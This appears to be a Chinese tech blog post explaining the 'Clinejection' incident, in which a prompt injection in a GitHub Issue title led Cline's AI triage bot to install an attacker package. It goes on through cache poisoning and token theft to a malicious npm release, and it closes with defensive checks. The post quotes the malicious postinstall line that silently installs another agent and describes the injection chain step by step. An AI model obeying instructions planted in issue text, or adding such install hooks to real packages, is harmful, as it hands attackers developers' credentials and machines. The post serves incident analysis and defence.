← 随机比特 / 所有内容

一个精心构造的 GitHub Issue 标题,触发 AI 机器人一步步盗取凭证,最终在 4000 台开发者电脑上装了另一个 AI 工具。

2026-03-06 · 随机比特

一个 GitHub Issue 标题,如何入侵 4000 台开发者的电脑

来源:grith.ai · Clinejection: when your AI tool installs another | HN 203pts · 47 comments


2026年2月17日,你更新了 Cline。

八小时后,你的机器上多了另一个 AI。你不知道这件事。

这不是电影情节。4000多名开发者真实经历了这件事。攻击的入口,是一个普通的 GitHub Issue 标题。


先说清楚这件事到底是什么

Cline 是一个 AI 编程工具,在 VS Code 里用,很多人用来生成代码、自动化任务。2月17日,npm 上出现了 [email protected]。这个版本的 CLI 二进制文件和前一版本「一模一样」。唯一的区别:package.json 里多了一行:

"postinstall": "npm install -g openclaw@latest"

说白了,你以为你在安装 Cline,但安装过程里它悄悄给你全局安装了 OpenClaw——另一个有完整系统权限的 AI Agent。

这个版本上线了八小时,4000多次下载,才被下架。


攻击是怎么一步步做到的

Snyk 把这次攻击命名为"Clinejection",整条链分五步。每一步单独看都不算新奇,但组合在一起就是另一回事。

第一步:Issue 标题里藏指令

Cline 有个 AI triage 机器人,专门处理 GitHub Issues。任何人打开一个 Issue,机器人就会自动读取、分类。

1月28日,有人提了一个 Issue #8904,标题看起来是一份性能报告,但里面藏了一条指令:让机器人从一个特定 GitHub 仓库安装一个包。

这就是提示注入(prompt injection)。机器人把 Issue 标题直接插进了给 Claude 的 prompt,没有任何过滤。

第二步:AI bot 执行了它读到的指令

Claude 把这条注入的指令当成合法操作,运行了 npm install,指向攻击者控制的仓库——一个叫 glthub-actions/cline 的 typosquatted repo(注意:是 glthub,不是 github,少了一个 i)。

这个假仓库的 package.json 里有一个 preinstall 脚本,从远程下载并执行了一个 shell 脚本。

<!-- diagram:attack-chain -->

第三步:缓存投毒

那个 shell 脚本部署了 Cacheract,一个 GitHub Actions 缓存投毒工具。它往 GitHub 的缓存系统里塞了 10GB 垃圾数据,把正常的缓存条目给挤掉了(LRU 淘汰)。

更关键的是,投毒的缓存条目刻意伪造成跟 Cline nightly release workflow 匹配的 cache key。

第四步:等正常流程把 token 递过来

到了夜间 nightly build 跑起来的时候,workflow 去恢复 node_modules 缓存,拿到的就是被污染的版本。

这个 workflow 持有的凭证包括:NPM_RELEASE_TOKEN、VS Code Marketplace token(VSCE_PAT)、OpenVSX token(OVSX_PAT)。全部被带出去了。

第五步:用偷来的 token 发布带后门的版本

攻击者拿着 npm token,发布了 [email protected]

StepSecurity 的自动化监控在发布约 14 分钟后就检测到了异常,但通知到 Cline 团队并下架,已经是八小时之后的事。


为什么你的防护工具没有拦住它

这是这次攻击最让人不舒服的地方。

npm audit 没用:postinstall 安装的是 OpenClaw,一个"合法"的包。没有已知 CVE,审计通不出问题。

代码审查没用:CLI 二进制文件和上一版本 byte-identical,完全一样。自动化 diff 工具盯的是二进制变化,一行 package.json 很容易被忽略。

权限弹窗不存在:postinstall 是在你 npm install 过程中静默执行的,没有任何提示。你不知道它在装什么。

来源凭证没配置:Cline 当时没有用 OIDC 的 npm provenance attestation。攻击者用偷来的 token 发包,没有任何加密证明说"这个包是从某个特定 GitHub Actions workflow 发布的"。


顺便说一个让这件事更扎心的细节

安全研究员 Adnan Khan 其实在 2025 年 12 月底就发现了这条完整的攻击链。

他在 2026 年 1 月 1 日通过 GitHub Security Advisory 提交了报告,之后连续跟进了五周。

没有任何人回复。

2月9日,他公开披露了漏洞。Cline 在 30 分钟内打了补丁(把 AI triage workflow 直接删了)。第二天开始轮换凭证。

但凭证轮换出了错——删错了 token,把有风险的那个留着了。2月11日发现错误,重新轮换。

这时已经太晚了。攻击者不是 Khan,是一个独立的未知人物,在 Khan 的测试仓库上找到了 PoC,拿来直接打了 Cline。

六天之后,[email protected] 出现在了 npm 上。


「AI 安装 AI」是个新问题

<!-- diagram:confused-deputy -->

这件事里有一个结构性问题值得多想一想。

你信任了 Cline,所以你允许它在你机器上运行。Cline 被妥协之后,用这个信任安装了 OpenClaw——一个你从没评估过、没配置过、没同意过的第二个 AI Agent。

OpenClaw 以安装后的状态,可以读取 ~/.openclaw/ 下的凭证,通过 Gateway API 执行 shell 命令,以及把自己安装为开机启动的系统 daemon。

这是计算机科学里的 confused deputy 问题——你授权了某个 deputy(Cline),它被利用后把这个授权传给了你从没见过的第三方。

AI 版本的 confused deputy,麻烦在于:第二个 Agent 的能力是完全独立的,不受你对第一个 Agent 的任何设定约束。

Endor Labs 认为这次 payload 更接近 PoC 而不是真正的武器化攻击。但机制在那里。下一次未必是 PoC。


Cline 后来做了什么

Cline 在事后复盘里列了几个改动:

OIDC 迁移是关键修复。用了 OIDC,npm token 根本不存在——每次发布都需要 GitHub Actions workflow 现场生成加密证明。偷到 token 也没用。


如果你想自查,可以看这三件事

第一件:CI 有没有把 GitHub Issue 内容直接插进 AI prompt

特别是 ${{ github.event.issue.title }}${{ github.event.comment.body }} 这类直接插值。如果有,考虑加过滤层,或者限制触发权限(不要 allowed_non_write_users: "*")。

第二件:你用的 npm 包,postinstall 脚本在做什么

npm install --ignore-scripts  # 先这样装,自己决定要不要跑 lifecycle

不是所有 postinstall 都是恶意的,但是值得知道自己装的东西有没有在跑脚本。

第三件:如果公司用 GitHub Actions + AI bot 处理 Issue,review 一下权限

谁能触发 workflow,触发后有哪些凭证,最小权限原则有没有执行。这三个问题,如果答不上来,值得排查一遍。


最后

这件事有一个不那么让人舒服的结论:随着 AI 工具越来越深嵌入开发流程,它们不只是你的工具,也是别人攻击你的工具。

Cline 的 AI triage bot 是为了提高效率的。结果成了攻击入口。

这不是说不该用 AI 工具。而是说,这些工具的攻击面值得认真想一想。


来源